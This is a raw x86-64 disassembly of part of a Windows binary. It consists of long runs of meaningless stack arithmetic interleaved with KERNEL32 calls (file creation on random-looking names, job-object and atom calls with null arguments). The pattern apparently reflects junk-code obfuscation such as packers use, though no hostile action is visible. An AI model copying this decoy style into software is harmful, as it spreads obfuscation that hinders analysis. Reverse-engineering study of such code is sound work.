mov dword [rsp + 0xa404], eax
mov eax, dword [0x14028269c]
mov ecx, dword [rsp + 0xa2e4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x140b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14178]
mov ecx, dword [rsp + 0x82f8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9580], eax
mov eax, dword [rsp + 0xa38c]
mov ecx, dword [rsp + 0xa35c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14018]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13f58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13e98]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x640], al
movzx eax, word [rsp + 0x2b64]
mov rcx, qword [rsp + 0x14130]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x140282698], ax
mov eax, dword [rsp + 0x84a4]
mov dword [rsp + 0xa408], eax
mov eax, dword [rsp + 0x7d08]
movzx ecx, al
mov eax, dword [rsp + 0xa37c]
shl eax, cl
mov rcx, qword [rsp + 0x14140]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13f10]
mov eax, dword [rax]
mov dword [rsp + 0xa40c], eax
mov rax, qword [0x14028ee90]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa3b8]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14178]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14178]
mov rcx, qword [rsp + 0x14110]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x718c], eax
movsx eax, word [rsp + 0x2b54]
movsx ecx, word [rsp + 0x1d78]
add eax, ecx
mov word [rsp + 0x22d4], ax
mov rax, qword [rsp + 0x140b0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14198]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x63b], al
movzx eax, word [rsp + 0x2b78]
mov word [rsp + 0x2b94], ax
movzx eax, byte [rsp + 0x325]
movzx ecx, byte [rsp + 0x635]
add eax, ecx
mov byte [0x140281dba], al
mov rax, qword [rsp + 0x14020]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa33c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x820c], eax
lea rax, [rsp + 0x6c58]
mov qword [rsp + 0x141c0], rax
movzx eax, word [rsp + 0x1860]
mov rcx, qword [rsp + 0x13fa0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2134], ax
mov rax, qword [rsp + 0x141a0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13f18]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x635], al
mov eax, dword [rsp + 0xa3d4]
mov dword [rsp + 0xa410], eax
mov eax, dword [0x14028269c]
mov ecx, dword [rsp + 0xa2e4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9e40], eax
mov rax, qword [rsp + 0x14110]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7d08]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7f7c], eax
mov rax, qword [rsp + 0x13ea0]
mov rcx, qword [rsp + 0x14018]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa3e8], eax
movzx eax, byte [rsp + 0x275]
movzx ecx, byte [rsp + 0x635]
sar eax, cl
mov byte [0x140281daa], al
mov rax, qword [rsp + 0x14168]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x140d8]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2b84], ax
lea rax, [rsp + 0xa408]
mov qword [rsp + 0x141c8], rax
mov rax, qword [rsp + 0x140d0]
mov eax, dword [rax]
mov ecx, dword [0x14028ee88]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13e78]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14190]
movzx eax, word [rax]
mov word [rsp + 0x2b98], ax
movsx eax, byte [rsp + 0x63e]
movsx ecx, byte [rsp + 0x634]
or eax, ecx
mov byte [rsp + 0x2e9], al
movzx eax, word [rsp + 0x1840]
movzx ecx, word [rsp + 0x2b30]
and eax, ecx
mov word [rsp + 0x2b68], ax
movzx eax, byte [rsp + 0x633]
mov byte [rsp + 0x648], al
lea rcx, [rsp + 0x22608]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x14020]
mov rcx, qword [rsp + 0x13f70]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6c58], eax
mov rax, qword [0x14028ee90]
mov rcx, qword [rsp + 0x14178]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [0x140282690], eax
mov eax, dword [rsp + 0x9bd8]
mov dword [rsp + 0xa414], eax
mov rax, qword [rsp + 0x141c0]
mov ecx, dword [0x14028269c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa250], eax
mov rax, qword [rsp + 0x140d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa3ac]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13ea0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14130]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b4c]
add eax, ecx
mov word [rsp + 0x1cc0], ax
mov rax, qword [rsp + 0x141a0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x2d7]
and eax, ecx
mov byte [rsp + 0x635], al
mov rax, qword [rsp + 0x14098]
mov eax, dword [rax]
mov dword [rsp + 0xa418], eax
mov rax, qword [rsp + 0x14180]
mov ecx, dword [rsp + 0xa3a8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa388], eax
lea rax, [rsp + 0xa238]
mov qword [rsp + 0x141d0], rax
mov rax, qword [rsp + 0x140f0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6608]
add ecx, eax
mov eax, ecx
mov dword [0x1402826c8], eax
movzx eax, byte [rsp + 0x635]
movzx ecx, byte [rsp + 0x638]
add eax, ecx
mov byte [rsp + 0x4d0], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriority]
mov rax, qword [rsp + 0x14130]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14100]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2b38], ax
mov rax, qword [rsp + 0x14198]
movzx eax, byte [rax]
mov byte [rsp + 0x649], al
movsx eax, word [rsp + 0x22d4]
mov rcx, qword [rsp + 0x14190]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x140a8]
mov word [rcx], ax
mov eax, dword [rsp + 0x9e40]
movzx ecx, al
mov eax, dword [rsp + 0x9d94]
shr eax, cl
mov dword [rsp + 0x866c], eax
mov rax, qword [rsp + 0x14098]
mov ecx, dword [rsp + 0xa398]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa264], eax
movzx ecx, word [rsp + 0x2b3c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2b58], ax
mov rax, qword [rsp + 0x13f18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x631]
and eax, ecx
mov byte [rsp + 0x285], al
movzx eax, word [rsp + 0x15c8]
mov word [rsp + 0x2b9c], ax
mov rax, qword [rsp + 0x141c8]
mov eax, dword [rax]
mov dword [0x14028ee58], eax
mov rax, qword [rsp + 0x13f10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x7730]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa3cc], eax
mov eax, dword [rsp + 0xa398]
mov dword [rsp + 0xa41c], eax
mov rax, qword [rsp + 0x13f70]
mov ecx, dword [rsp + 0xa3a8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9e40], eax
mov rax, qword [rsp + 0x13f58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13f18]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x646], al
lea rax, [rsp + 0x2b8c]
mov qword [rsp + 0x141d8], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x14110]
mov ecx, dword [rsp + 0xa2bc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa2f4], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xa3b0], eax
mov eax, dword [rsp + 0xa264]
mov ecx, dword [rsp + 0xa3d4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9e70], eax
mov rax, qword [rsp + 0x140b8]
mov rcx, qword [rsp + 0x14020]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x976c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetPriorityClass]
lea rax, [rsp + 0xa398]
mov qword [0x14028ee50], rax
mov rax, qword [0x14028ee50]
mov eax, dword [rax]
mov dword [rsp + 0xa420], eax
movsx eax, word [rsp + 0x2b2c]
mov rcx, qword [rsp + 0x140a8]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1d78], ax
movsx eax, byte [rsp + 0x62]
mov rcx, qword [rsp + 0x13f90]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x630], al
lea rax, [0x1402826bc]
mov qword [rsp + 0x141e0], rax
movzx ecx, word [rsp + 0x2b58]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2ba0], ax
mov rax, qword [rsp + 0x14148]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x4d0]
or eax, ecx
mov rcx, qword [rsp + 0x14150]
mov byte [rcx], al
mov rax, qword [rsp + 0x140b8]
mov eax, dword [rax]
mov dword [rsp + 0xa424], eax
mov rax, qword [rsp + 0x14140]
mov rcx, qword [rsp + 0x140c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa3c8], eax
mov rax, qword [rsp + 0x14100]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14168]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x15c8], ax
movzx eax, byte [rsp + 0x635]
mov rcx, qword [rsp + 0x13f68]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [0x14028ee6a], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalUnlock]
mov rax, qword [rsp + 0x141c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x84a4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x81a8], eax
mov rax, qword [rsp + 0x13ea0]
mov ecx, dword [rsp + 0xa40c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa3e4], eax
lea rax, [0x1402826c8]
mov qword [rsp + 0x141e8], rax
mov rax, qword [rsp + 0x141c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x976c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa370], eax
movzx eax, byte [rsp + 0x285]
movzx ecx, byte [rsp + 0x646]
sub eax, ecx
mov byte [rsp + 0x645], al
movzx eax, word [rsp + 0x157c]
mov word [rsp + 0x2ba4], ax
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x13ff0], rax
mov rax, qword [rsp + 0x14178]
mov rcx, qword [rsp + 0x140c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa414], eax
mov rax, qword [rsp + 0x140d0]
mov eax, dword [rax]
mov dword [rsp + 0xa428], eax
movsx eax, word [rsp + 0x2b34]
movsx ecx, word [rsp + 0x22d4]
sub eax, ecx
mov word [0x1402826cc], ax
movsx eax, byte [rsp + 0x619]
movsx ecx, byte [rsp + 0x632]
add eax, ecx
mov rcx, qword [rsp + 0x14120]
mov byte [rcx], al
mov rax, qword [rsp + 0x13eb8]
movzx eax, word [rax]
mov rcx, qword [0x14028ee78]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2b78], ax
movzx eax, byte [rsp + 0x633]
movzx ecx, byte [rsp + 0x635]
add eax, ecx
mov byte [rsp + 0x398], al
mov rax, qword [rsp + 0x140b8]
mov ecx, dword [rsp + 0xa24c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa3c4], eax
mov rax, qword [rsp + 0x141c8]
mov eax, dword [rax]
mov dword [rsp + 0xa42c], eax
mov eax, dword [rsp + 0x718c]
mov rcx, qword [rsp + 0x141e8]
mov qword [rsp + 0x141f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x141f0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xa414], eax
lea rax, [rsp + 0xa3e8]
mov qword [rsp + 0x141f8], rax
mov rax, qword [0x14028ee50]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa3c0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa390], eax
movzx eax, byte [rsp + 0x63a]
mov rcx, qword [rsp + 0x14150]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x5f5], al
mov rax, qword [rsp + 0x141e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14100]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x1402826a4], ax
mov rax, qword [rsp + 0x14180]
mov eax, dword [rax]
mov dword [rsp + 0xa430], eax
mov rax, qword [rsp + 0x141f8]
mov rcx, qword [rsp + 0x14110]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7730], eax
mov rax, qword [rsp + 0x141d0]
mov eax, dword [rax]
mov dword [rsp + 0xa434], eax
mov rax, qword [rsp + 0x13f70]
mov rcx, qword [rsp + 0x141c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x84a4], eax
movzx eax, byte [rsp + 0x638]
movzx ecx, byte [rsp + 0x63f]
and eax, ecx
mov byte [rsp + 0x636], al
mov rax, qword [rsp + 0x140d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x141d8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2964], ax
mov rax, qword [rsp + 0x14138]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2b2c]
sub eax, ecx
mov word [rsp + 0x1948], ax
mov rax, qword [rsp + 0x13e88]
movzx eax, byte [rax]
mov byte [rsp + 0x64a], al
mov rax, qword [rsp + 0x14180]
mov rcx, qword [rsp + 0x140b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [0x14028ee70]
mov dword [rcx], eax
mov rax, qword [rsp + 0x141d0]
mov ecx, dword [rsp + 0xa310]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9bd8], eax
mov rax, qword [rsp + 0x13f18]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x63f]
add eax, ecx
mov byte [rsp + 0x1aa], al
mov rax, qword [rsp + 0x141e0]
movzx eax, word [rax]
mov word [rsp + 0x2ba8], ax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x160b
mov r9d, 0x1364
mov r8d, 0x9b664d63
mov edx, 1
mov rcx, qword [rsp + 0x13eb0]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0xa3d8], eax
mov eax, dword [rsp + 0x9bd8]
mov ecx, dword [rsp + 0xa400]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa3dc], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 1
mov edx, 0x80000000
lea rcx, str.BdNaFR4i0V83WjyxmPmH0FZhNL
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x14200], rax
lea rcx, [rsp + 0x225d8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetWriteWatch]
mov rax, qword [rsp + 0x141c0]
mov ecx, dword [rsp + 0xa388]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7600], eax
mov rax, qword [0x14028ee90]
mov ecx, dword [rsp + 0xa434]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x140d0]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa420]
mov dword [rsp + 0xa438], eax
mov rcx, qword [rsp + 0x140e8]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xa26c], eax
mov rax, qword [rsp + 0x13f58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13f68]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x325], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.q1iV11u4NhWX4VtiK0
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x14208], rax
lea rax, [rsp + 0x2964]
mov qword [0x14028ee48], rax
mov rax, qword [rsp + 0x141c0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14020]
mov qword [rsp + 0x14210], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14210]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0xa3f4], eax
mov eax, dword [rsp + 0xa3a0]
mov dword [rsp + 0xa43c], eax
mov rax, qword [0x14028ee50]
mov ecx, dword [rsp + 0xa338]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x14110]
mov dword [rcx], eax
mov rax, qword [rsp + 0x141e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa340]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9774], eax
mov rax, qword [rsp + 0x13f10]
mov ecx, dword [rsp + 0x90bc]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x7d08], eax
mov rax, qword [rsp + 0x140b0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14120]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x63e], al
mov rax, qword [rsp + 0x14190]
movzx eax, word [rax]
mov word [rsp + 0x2bac], ax
mov rax, qword [rsp + 0x13f68]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x275]
add eax, ecx
mov byte [rsp + 0x637], al
movzx eax, word [rsp + 0x2b60]
mov rcx, qword [rsp + 0x141e0]
movzx ecx, word [rcx]
and eax, ecx
mov word [0x1402826d0], ax
lea rax, [rsp + 0x7b28]
mov qword [rsp + 0x14218], rax
mov rax, qword [0x14028ee80]
mov rcx, qword [rsp + 0x141c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa24c], eax
movzx eax, byte [rsp + 0x4f2]
movzx ecx, byte [rsp + 0x633]
add eax, ecx
mov byte [rsp + 0x638], al
mov edx, 0x44e687
mov rcx, qword [rsp + 0x140e8]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xa3ec], eax
mov rax, qword [rsp + 0x13fa0]
movzx eax, word [rax]
mov word [rsp + 0x2bb0], ax
mov eax, dword [rsp + 0x872c]
mov ecx, dword [0x1402826ac]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14098]
mov dword [rcx], eax
mov rcx, qword [rsp + 0x13eb0]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xa324], eax
mov rax, qword [rsp + 0x14180]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa424]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x79a4], eax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xa440], eax
mov dword [rsp + 0x20], 0xb76
mov r9d, 0x3e1e
mov r8d, 0x1cc0
mov edx, 0x5ae
mov rcx, qword [rsp + 0x140e8]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0xa29c], eax
mov rax, qword [rsp + 0x140c8]
mov ecx, dword [rsp + 0xa3d0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa3a0], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa2a0], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetStdHandle]
mov eax, dword [rsp + 0xa434]
mov rcx, qword [rsp + 0x13f10]
mov qword [rsp + 0x14220], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14220]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x140d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14168]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14130]
movzx ecx, word [rcx]
or eax, ecx
mov word [0x140282698], ax
movzx eax, byte [0x14028eec1]
mov byte [rsp + 0x64b], al
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xa444], eax
mov rax, qword [rsp + 0x141c8]
mov rcx, qword [rsp + 0x14180]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x6c58], eax
mov rax, qword [rsp + 0x140f0]
mov eax, dword [rax]
mov dword [rsp + 0xa448], eax
movsx eax, word [rsp + 0x22d4]
mov rcx, qword [rsp + 0x14190]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2b7c], ax
movzx eax, byte [rsp + 0x63e]
mov byte [rsp + 0x64c], al
movzx eax, byte [rsp + 0x638]
movzx ecx, byte [rsp + 0x63c]
and eax, ecx
mov byte [rsp + 0x275], al
mov rax, qword [rsp + 0x14130]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b60]
add eax, ecx
mov word [rsp + 0x2b38], ax
lea rax, [rsp + 0xa388]
mov qword [rsp + 0x14228], rax
lea rdx, [rsp + 0xa27c]
mov rcx, qword [rsp + 0x140a0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xa2a0], eax
mov eax, dword [rsp + 0xa38c]
mov dword [0x14028ee44], eax
mov eax, dword [rsp + 0xa3dc]
mov ecx, dword [rsp + 0xa2a8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6608], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x14230], rax
lea rax, [rsp + 0x79a4]
mov qword [rsp + 0x14238], rax
mov rax, qword [rsp + 0x14098]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9a0c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa278], eax
mov rax, qword [rsp + 0x13f58]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13f68]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x2d7], al
lea rax, [rsp + 0x2b60]
mov qword [rsp + 0x14240], rax
mov eax, dword [rsp + 0xa3d0]
mov ecx, dword [rsp + 0xa39c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14018]
mov dword [rcx], eax
lea rax, [0x14028eec4]
mov qword [rsp + 0x14248], rax
mov eax, dword [rsp + 0x8e48]
mov ecx, dword [rsp + 0x718c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa338], eax
mov rax, qword [rsp + 0x141d0]
mov ecx, dword [rsp + 0xa3a0]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14028ee88], eax
movzx eax, word [rsp + 0x2b84]
movzx ecx, word [rsp + 0x2bb0]
add eax, ecx
mov word [rsp + 0x2b90], ax
lea rax, [rsp + 0x1aa]
mov qword [rsp + 0x14250], rax
mov rax, qword [rsp + 0x140a8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14190]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2b98], ax
movsx eax, byte [0x140281da7]
movsx ecx, byte [rsp + 0x64c]
sar eax, cl
mov byte [rsp + 0x35f], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov r9d, 1
xor r8d, r8d
mov edx, 0xb54a
mov rcx, qword [rsp + 0x14208]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xa3b0], eax
mov eax, dword [rsp + 0xa388]
mov rcx, qword [rsp + 0x140b8]
mov qword [rsp + 0x14258], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14258]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa3f4], eax
mov eax, dword [0x1402826c0]
mov ecx, dword [rsp + 0xa39c]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x140d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14150]
movzx eax, byte [rax]
mov byte [rsp + 0x64d], al
mov rax, qword [rsp + 0x14240]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b88]
or eax, ecx
mov word [rsp + 0x2b74], ax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateIoCompletionPort]
mov rax, qword [rsp + 0x14180]
mov rcx, qword [rsp + 0x13f70]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [0x1402826d4], eax
mov rax, qword [rsp + 0x141f8]
mov eax, dword [rax]
mov dword [rsp + 0xa44c], eax
mov rax, qword [rsp + 0x14110]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa3c8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8e48], eax
mov rax, qword [rsp + 0x14218]
mov eax, dword [rax]
mov ecx, dword [0x14028ee58]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x64b4], eax
mov rax, qword [rsp + 0x13fb0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b64]
add eax, ecx
mov word [rsp + 0x2b88], ax
movzx eax, byte [rsp + 0x5f5]
movzx ecx, byte [0x140281dab]
sub eax, ecx
mov byte [rsp + 0x646], al
lea rax, [rsp + 0xa3e4]
mov qword [rsp + 0x14260], rax
mov eax, dword [rsp + 0xa3d0]
mov ecx, dword [rsp + 0x9a0c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x141d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13f70]
mov eax, dword [rax]
mov dword [rsp + 0xa450], eax
mov rax, qword [0x14028ee90]
mov ecx, dword [rsp + 0xa304]
mov eax, dword [rax]
and eax, ecx
mov dword [0x1402826c8], eax
mov rax, qword [rsp + 0x13e78]
mov ecx, dword [rsp + 0xa338]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x140d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14120]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x632]
sub eax, ecx
mov byte [rsp + 0x619], al
movzx eax, word [rsp + 0x2b24]
mov word [rsp + 0x2bb4], ax
movzx eax, byte [rsp + 0x645]
mov rcx, qword [rsp + 0x13e98]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x64d], al
lea rcx, [rsp + 0x22608]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [0x14028ee48]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x140d8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1dac], ax
mov rax, qword [rsp + 0x14228]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x141c8]
mov qword [rsp + 0x14268], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14268]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x9e40], eax
mov rax, qword [rsp + 0x140d0]
mov ecx, dword [0x1402826b4]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa238], eax
movzx eax, word [rsp + 0x2b38]
mov word [rsp + 0x2bb8], ax
movzx eax, byte [rsp + 0x637]
mov rcx, qword [rsp + 0x13f58]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [0x140281dbb], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [rsp + 0x6c58]
mov ecx, dword [rsp + 0x976c]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x81a8], eax
mov rax, qword [rsp + 0x14178]
mov eax, dword [rax]
mov dword [rsp + 0xa454], eax
mov rax, qword [rsp + 0x14098]
mov ecx, dword [rsp + 0xa2a8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7d08], eax
mov rax, qword [rsp + 0x14228]
mov ecx, dword [0x1402826d4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x74b0], eax
mov rax, qword [rsp + 0x14150]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x275]
sub eax, ecx
mov byte [rsp + 0x4f2], al
mov rax, qword [rsp + 0x141e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b64]
add eax, ecx
mov rcx, qword [rsp + 0x14168]
mov word [rcx], ax
mov eax, dword [rsp + 0xa420]
mov dword [rsp + 0xa458], eax
mov eax, dword [rsp + 0x7d08]
mov ecx, dword [rsp + 0xa454]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14260]
mov dword [rcx], eax
movzx eax, word [rsp + 0x1d78]
mov word [0x14028ee40], ax
mov rax, qword [rsp + 0x13f90]
movzx eax, byte [rax]
mov byte [rsp + 0x64e], al
mov rax, qword [rsp + 0x13eb8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x140d8]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1840], ax
